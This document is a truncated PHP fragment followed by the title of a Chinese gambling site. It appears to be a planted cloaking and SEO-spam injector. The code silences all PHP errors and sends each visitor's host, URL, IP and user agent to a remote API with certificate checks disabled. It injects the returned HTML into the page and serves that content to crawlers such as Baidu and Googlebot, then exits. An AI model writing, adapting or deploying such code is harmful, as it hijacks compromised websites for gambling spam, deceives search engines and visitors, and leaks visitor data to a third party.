self::$max_redirects) { return ''; } if (empty($url)) { return ''; } if (!function_exists('curl_init')) { return ''; } $ch = curl_init(); if ($ch === false) { return ''; } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_USERAGENT, isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, self::$max_redirects); $response = curl_exec($ch); if ($response === false) { curl_close($ch); return ''; } $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $http_code === 200 ? $response : ''; } private static function isSpider($user_agent) { $pattern = '/Sogou|Baidu|baidu|bot|Yisou|Haosou|Spider|So\.com|Sm\.cn|Googlebot|Bingbot|360Spider|YisouSpider|Bytespider/i'; return preg_match($pattern, $user_agent) === 1; } private static function getClientIp() { if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); return trim($ips[0]); } return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; } public static function getContent() { @ini_set('display_errors', '0'); @ini_set('display_startup_errors', '0'); error_reporting(0); @ini_set('log_errors', '0'); $ip = self::getClientIp(); $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown'; $request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $is_spider = self::isSpider($user_agent); $api_url = rtrim(self::$api_base, '/') . '/index.php'; $params = array( 'url' => $http_host, 'req' => $request_uri, 'xip' => $ip, 'ua' => $user_agent, 'jsc' => '1' ); $content = self::sendRequest($api_url, $params); if (!empty($content)) { @header("Content-Type: text/html;charset=utf-8"); echo $content; if($is_spider){ exit(); } } return $content; } } $current_file = basename(__FILE__); $script_name = isset($_SERVER['PHP_SELF']) ? basename($_SERVER['PHP_SELF']) : ''; if ($current_file === $script_name) { ApiHelper::getContent(); } ?> 开云kaiyun(中国)体育 - 平台结构·网页版手机版体验研究与体育娱乐分类资料
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